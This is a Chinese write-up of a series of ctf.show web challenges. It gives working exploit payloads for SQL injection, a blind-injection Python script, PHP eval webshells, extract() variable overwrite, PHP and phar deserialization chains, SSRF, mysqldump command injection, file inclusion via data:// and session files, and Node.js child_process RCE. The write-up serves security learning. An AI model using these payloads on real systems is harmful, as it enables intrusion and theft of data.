一个网站给群主大大搞了那么多题,。不过做到后面根本做不动,我太菜了,爬了爬了,等晚一点再爬回来看看师傅们怎么解的。
目录穿越,淦,一开始就想着SQL注入,虽然尝试好一会就感觉没有跟数据库的交互。还是对URL的观察不仔细啊
/index.php?action=../index
/index.php?action=../flag
读index文件
?action=../index
发现SQL语句:
select id from user where username = md5('$username') and password=md5('$password') order by id limit 1
没有任何过滤,直接写脚本进行bool盲注
payload="username=') || if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),{},1))<{},1,0)%23&password=1".format(i,mid)
payload="username=') || if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name='flag')),{},1))<{},1,0)%23&password=1".format(i,mid)
payload="username=') || if(ascii(substr((select/**/group_concat(flag)from(flag)),{},1))<{},1,0)%23&password=1".format(i,mid)
还可以用写文件的方式外带查询内容,不过文件要放在/tmp下,因为那里有写权限
?action=check&username=1') union select flag from flag into dumpfile '/tmp/4.php'%23&password=1
查询:index.php?action=../../../../../tmp/6
爬了,这题没想过遍历读取文件,关键是我不知道文件名啊…看了师傅们遍历的文件才知道的…
?action=…/index
$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
if($action=='check'){
$username=$_GET['username'];
$password=$_GET['password'];
$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
templateUtil::render('error',array('username'=>$username));
}
}
?action=…/render/render_class
ini_set('display_errors', 'On');
include('file_class.php');
include('cache_class.php');
class templateUtil {
public static function render($template,$arg=array()){
if(cache::cache_exists($template)){
echo cache::get_cache($template);
}else{
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
echo $cache;
}
}
public static function shade($templateContent,$arg){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{
{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}
}
?action=…/render/cache_class
class cache{
public static function create_cache($template,$content){
if(file_exists('cache/'.md5($template).'.php')){
return true;
}else{
fileUtil::write('cache/'.md5($template).'.php',$content);
}
}
public static function get_cache($template){
return fileUtil::read('cache/'.md5($template).'.php');
}
public static function cache_exists($template){
return file_exists('cache/'.md5($template).'.php');
}
}
关键是fileUtil::write('cache/'.md5($template).'.php',$content);
,会在cache目录下写入一个文件,文件名出自这里:templateUtil::render('error',array('username'=>$username));
SQL语句查询不出文件名就是error.php;内容出自:
foreach ($arg as $key => $value) {
$templateContent=str_replace('{
{'.$key.'}}', $value, $templateContent);
}
其中$templateContent
,是error.php中的信息,$arg
就是username的键值对,所以也就是说我们的username信息会写入到/cache/md5(error).php中。
因此username我们传入一句话木马:
?action=check&username= eval($_POST[1]);?>&password=1
访问/cache/cb5e100e5a9a3e7f6d1fd97512215282.php
http://b5fd7136-9ff8-4c61-ba24-6dfe3bfb6674.challenge.ctf.show:8080/cache/cb5e100e5a9a3e7f6d1fd97512215282.php
1=system("cat /f*");
if($action=='check'){
$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
extract($_GET);
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
templateUtil::render('error');
}
}
if($action=='check'){
$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
extract($_GET);
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
templateUtil::render('error');
}
}
多了个extract函数可以变量覆盖,而且只有利用Index文件而不是error文件。
想着像上题那样写个马的,但一直没成功。只好变量覆盖$sql进行盲注,对flag文件盲注
payload="select id from user where id=if(ascii(substr((select load_file('/flag')),{},1))<{},1,0)".format(i,mid)
配合union select即可控制username,注意有个anction=clear的功能,没成功记得清理cache文件否则不能写入
?action=check&username=-1' union select 0x6576616c28245f504f53545b315d293b20 %23&password=1
0x6576616c28245f504f53545b315d293b20即 eval($_POST[1]);
访问:
/cache/6a992d5529f459a44fee58c733255e86.php
1=system("cat /f*");
盲注yyds
payload="index.php?action=check&username=' or if(ascii(substr((select load_file('/flag')),{},1))<{},0,1)%23".format(i,mid)
也可以这样,不过我尝试写马上去是不成功的,写上去的马直接被当成注释了,后台过滤?只好直接读文件了
?action=check&username=-1' union select load_file("/flag") into outfile "/tmp/7.php"--+&password=1
访问:
?action=../../../../../../../tmp/7
if($action=='check'){
extract($_GET);
if(preg_match('/^[A-Za-z0-9]+$/', $username)){
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one_array($sql);
}
if($user){
templateUtil::render('index',$user);
}else{
templateUtil::render('error');
}
}
extract函数的存在使得我们可以控制变量,这里有一个正则匹配,$username
只能是数字字母才能进行查询得到$user
,接着就是把$user
写入缓存中去,然后就是和一开始的做法一样。如果只能是数字字母,似乎做不到SQL注入
可我们可以不满足正则,因为我们也可以通过extract控制$user啊
?action=check&username=;&user[username]=--> eval($_POST[1]);?><!--&password=1
$user[username]
不要写成$user['username']
访问:
cache/6a992d5529f459a44fee58c733255e86.php
1=system("cat /f*");
关键代码如下:
//action=../index.php
$action=$_GET['action'];
if(!isset($action)){
if(isset($_COOKIE['user'])){
$c=$_COOKIE['user'];
$user=unserialize($c);
if($user){
templateUtil::render('index');
}
......
//action=../render/db_class
class db{
public $db;
public $log;
public function __construct(){
$this->log=new dbLog();
}
}
public function __destruct(){
$this->log->log($this->sql);
}
}
class dbLog{
public $sql;
public $content;
public $log;
public function log($sql){
$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
}
public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}
首先index.php
中有反序列化的入口,接着看db类中的析构方法,它会调用dbLog类中的log方法,再看dbLog类中的log方法,不适合利用。但dbLog类中的析构方法却是file_put_content(),两个参数都是能被控制的,因此利用dbLog类中的析构方法就能写一句话木马。
反序列化构造如下:
class db{
public $log;
public function __construct(){
$this->log=new dblog();
}
}
class dbLog{
public $content='';
public $log='/var/www/html/2.php';
}
echo urlencode(serialize(new db()));
//O%3A2%3A%22db%22%3A1%3A%7Bs%3A3%3A%22log%22%3BO%3A5%3A%22dbLog%22%3A2%3A%7Bs%3A7%3A%22content%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A19%3A%22%2Fvar%2Fwww%2Fhtml%2F2.php%22%3B%7D%7D
将得到的值放到cookie中并访问index.php就会生成2.php。
还是上题的操作,只不过flag放在了数据库中,蚁剑连接数据库即可
又是日常找错盲注点…这题一开始以为直接在index.php中盲注,结果并不可以…
看师傅们的盲注点才发现还有一个/api/admin_edit.php
页面,我们先正常登录后台,然后有一处修改资料的页面,信息会提交到/api/admin_edit.php
可以看到有一处变量覆盖、一处update的SQL语句,就在这里进行bool盲注:
///api/admin_edit.php
if($user){
extract($_POST);
$sql = "update user set nickname='".substr($nickname, 0,8)."' where username='".$user['username']."'";
$db=new db();
if($db->update_one($sql)){
$_SESSION['user']['nickname']=$nickname;
$ret['msg']='管理员信息修改成功';
}else{
$ret['msg']='管理员信息修改失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
注意要先进行一次登录,用session提交请求,且覆盖的变量是user[username],而不是bp抓包中的username
import requests
import random
url1='http://dd1b1b6c-c41c-4f92-b352-808c77e32e7d.challenge.ctf.show:8080/api/admin_edit.php'
url2="http://dd1b1b6c-c41c-4f92-b352-808c77e32e7d.challenge.ctf.show:8080/index.php?action=check"
data={
"username":"' || 1#",
"password":1
}
session=requests.session()
session.post(url=url2,data=data)
flag=''
for i in range(1,100):
min=32
max=128
while 1:
mid=min+(max-min)//2
if min==mid:
flag+=chr(mid)
print(flag)
if chr(mid)=='}':
exit()
break
#payload="' or if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),{},1))<{},1,0)#".format(i,mid)
#payload="' or if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name='flagyoudontknow76')),{},1))<{},1,0)#".format(i,mid)
payload="' or if(ascii(substr((select/**/group_concat(flagisherebutyouneverknow118)from(flagyoudontknow76)),{},1))<{},1,0)#".format(i,mid)
#print(payload)
data={
'user[username]':payload,
'nickname':random.randint(0,999999)
}
#print(data)
r=session.post(url=url1,data=data).text
#print(r)
if 'u529f' in r :
max=mid
else:
min=mid
SSRF主要跟这段代码有关,只要控制了$value值即可利用
$ch=curl_init($value);
$result=curl_exec($ch);
public static function checkImage($templateContent,$arg=array()){
foreach ($arg as $key => $value) {
if(stripos($templateContent, '{
{img:'.$key.'}}')){
$encode='';
if(file_exists(__DIR__.'/../cache/'.md5($value))){
$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
}else{
$ch=curl_init($value);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
$ret=chunk_split(base64_encode($result));
$encode = 'data:image/jpg/png/gif;base64,' . $ret;
file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
}
$templateContent=str_replace('{
{img:'.$key.'}}', $encode, $templateContent);
}
}
return $templateContent;
}
那么如何触发呢?
$avatar
就是修改头像地址的值,它会被写入$_SESSION['user']
然后再次访问index页面时也就将$user代入render()中,从而触发SSRF
尝试添入baidu的地址,发现确实如此
直接file协议读本地文件
file:///flag
dict://127.0.0.1:3306
dict://127.0.0.1:6379
看了一下开启了3306和6379,试了好一会3306不行,6379可以
直接复制不用URL编码提交。最后到shell.php执行命令
gopher、file被正则匹配了,无法利用。
向/api/admin_settings.php下修改字段,写入一句话,最后访问/config/settings.php
即可
/api/admin_settings.php
title= eval($_POST[1]);?>
if($user){
extract($_POST);
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path);
能够拼接命令。
db_path=;cat /f*>/var/www/html/1.txt
多了一个正则匹配,表示要么zip开头、或者匹配到tar、或者sql结尾
开头加个zip即可绕过
if(preg_match('/^zip|tar|sql$/', $db_format)){
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format);
db_format=zip;cat /f*>/var/www/html/1.txt
db_format=zip;cp /f* /var/www/html/1.txt
$db_format
没法绕了,但注意$pre
被拼接进去且没被过滤
if(preg_match('/^(zip|tar|sql)$/', $db_format)){
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.$pre.$db_format);
db_format=zip&pre=1;tac /f*>/var/www/html/1.txt;
phar反序列化即在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
利用条件:
1、phar文件要能够上传到服务器端。
2、有如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
3、要有可用的魔术方法作为“跳板”。
4、文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
首先有个头像上传点,其次之前做过反序列化的利用了,因此可以想到Phar反序列化(Ps:感觉是一个经验吧)
按照着上面利用条件来:
1、能上传文件,虽然不能是phar后缀,但可以改成图片后缀,无影响
2、存在file_exists()函数,在备份文件的地方:/api/admin_db_backup.php
3、可以利用db类、dblog类构造反序列化利用
4、$pre
、$db_format
都是可控的,因为extract()。没有其他的过滤
class db{
public $log;
public function __construct(){
$this->log=new dblog();
}
}
class dbLog{
public $content='';
public $log='/var/www/html/2.php';
}
//echo urlencode(serialize(new db()));
$d=new db();
$phar = new Phar("test.phar"); //文件名,后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$phar->setMetadata($d); //触发的开始是C1e4r(),所以传$c 将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
运行上面这个文件得到test.phar,改后缀为png。然后上传,上传完后注意图片位置:
然后到备份文件的功能点,发送POST请求,如下
/api/admin_db_backup.php
POST:
pre=phar:///var/www/html/img/364be8860e8d72b4358b5e88099a935a.pn&db_format=g
POST:
1=system("cat /f*");
看不了源码了?不会做…
可以查看源码:
注意/api/admin_file_view.php的源码,有一个include的功能,只要是内容以user开头即可,可控
// /api/admin_file_view.php
if($user){
extract($_POST);
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
}else{
$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
}
$ret['msg']='查看成功';
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
/api/admin_templates.php的源码,可以创建一个文件,注意创建的位置
// /api/admin_templates.php
case 'upload':
extract($_POST);
if(!preg_match('/php|phar|ini|settings/i', $name))
{
file_put_contents(__DIR__.'/../templates/'.$name, $content);
$ret['msg']='文件上传成功';
}else{
$ret['msg']='文件上传失败';
}
break;
我们创建一个user.sml,内容是:user
+ 一句话
然后访问即可:
/api/admin_file_view.php
1=system("cat+/f*");&debug=1&f=../templates/user.sml
限制了三个后缀,改成别的就好了,会做上题这题也一定会
if($user){
extract($_POST);
$ext = substr($f, strlen($f)-3,3);
if(preg_match('/php|sml|phar/i', $ext)){
$ret['msg']='请不要使用此功能';
die(json_encode($ret));
}
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
}
做这题时真的是思路窄…完全没想到用伪协议…太菜了我,师傅们tql
首先是上传的条件很苛刻了,基本不可能给你上传有关php的标签
case 'upload':
extract($_POST);
if(!preg_match('/php|phar|ini|settings/i', $name))
{
if(preg_match('/<|>|\?|php|=|script|,|;|\(/i', $content)){
$ret['msg']='文件上传失败';
}else{
file_put_contents(__DIR__.'/../templates/'.$name, $content);
$ret['msg']='文件上传成功';
}
上传不行,回到/api/admin_file_view.php
extract($_POST);
$ext = substr($f, strlen($f)-3,3);
if(preg_match('/php|sml|phar/i', $ext)){
$ret['msg']='请不要使用此功能';
die(json_encode($ret));
}
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
}
首先是文件包含include,不仅可以是文件名也可以是各种伪协议(我没想到伪协议,太菜了),常见的
php://input
php://filter
zip://
data://
phar://
data伪协议就适合这题,因为它能够满足 file_get_contents($f)
是以user开头
f=data://text/plain,user
用伪协议是不行了,想想能利用哪些可控的文件
// /api/admin_file_view.php
extract($_POST);
if(preg_match('/php|sml|phar|\:|data|file/i', $f)){
$ret['msg']='请不要使用此功能';
die(json_encode($ret));
}
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
}
对头像上传的内容进行了过滤。但过滤不严谨…
// /api/admin_upload.php
if(!preg_match('/^php$/i', $ext)){
if(preg_match('/php|sml|phar|\:|data|file/i', file_get_contents($arr["tmp_name"]))){
$ret['msg']='请不要使用此功能';
die(json_encode($ret));
}
短标签绕过,其他跟上题一样…
user=eval($_POST[1]);?>
利用头像上传不大可能了,过滤了太多
if(!preg_match('/^php$/i', $ext)){
if(preg_match('/php|sml|phar|\:|data|file|<|>|\`|\?|=/i', file_get_contents($arr["tmp_name"]))){
$ret['msg']='请不要使用此功能';
die(json_encode($ret));
}
想到了session文件包含,然后开了个上一题的环境看看phpinfo()中关于session的信息,嗯,可以利用,session_path是默认地址,也就在/tmp目录下。
但这不是最关键的,最关键是session文件中开头是user才行,然后利用查看文件查了查自己的session文件,刚好开头就是user(这绝对是群主大大故意加进去的),里面的其他信息都是基本信息,自然联想到修改信息写入一句话了
session文件的命名格式是:
sess_[PHPSESSID的值]
看到已经被解析了,然后就getshell吧~
debug=1&f=../../../../../../../tmp/sess_9h1r020qtbqfo1nmofkqj3mh17&1=echo `cat /f*`;
ban了sess…没头绪了…
extract($_POST);
if(preg_match('/php|sml|phar|\:|data|file|sess/i', $f)){
$ret['msg']='请不要使用此功能';
die(json_encode($ret));
}
看Y4师傅的做法,看完也有点懵逼,模板相关的考点?
看看源码,确实有些地方用到了{ {xx:xx}}
的形式,估计是模板相关的用法
../../../../../../var/www/html/templates/index.sml
不会啊(┭┮﹏┭┮)
对user过滤很多,但我们可以转转移一下,利用req.query.a
或者req.body.a
转移到别的参数上
if((msg.match(/proto|process|require|exec|var|'|"|:|\[|\]|[0-9]/))!==null || msg.length>40){
res.render('index', { title: '鏁忔劅淇℃伅涓嶅璇�' });
}else{
res.render('index', {
title: eval(msg) });
}
GET:
index.php?a=require("child_process").execSync("echo $FLAG")
POST:
user=eval(req.query.a)
关键代码:
ctx.body='Hello '
+user[0].username+' your name is: '+user[0].username+' your id is: '+user[0].id+ ' your password is: '+eval('md5('+user[0].password+')');
对password进行闭合并构造:
原本这么写的
username=aa&password=1)+eval((require("child_process").execSync("ls"))
利用反引号与加号进行字符拼接
username=aa&password=1)+eval((`req`+`uire("chi`+`ld_proce`+`ss").ex`+`ecSync("ls")`)
对加号进行URL编码
username=aa&password=1)%2beval((`req`%2b`uire("chi`%2b`ld_proce`%2b`ss").ex`%2b`ecSync("echo $FLAG")`)
回过头看看过滤了什么:
if(ctx.request.body.password!==undefined && (ctx.request.body.password.match(/proto|JSON|parse|process|require|exec|var|merge|response|body|request/))!==null){
return
}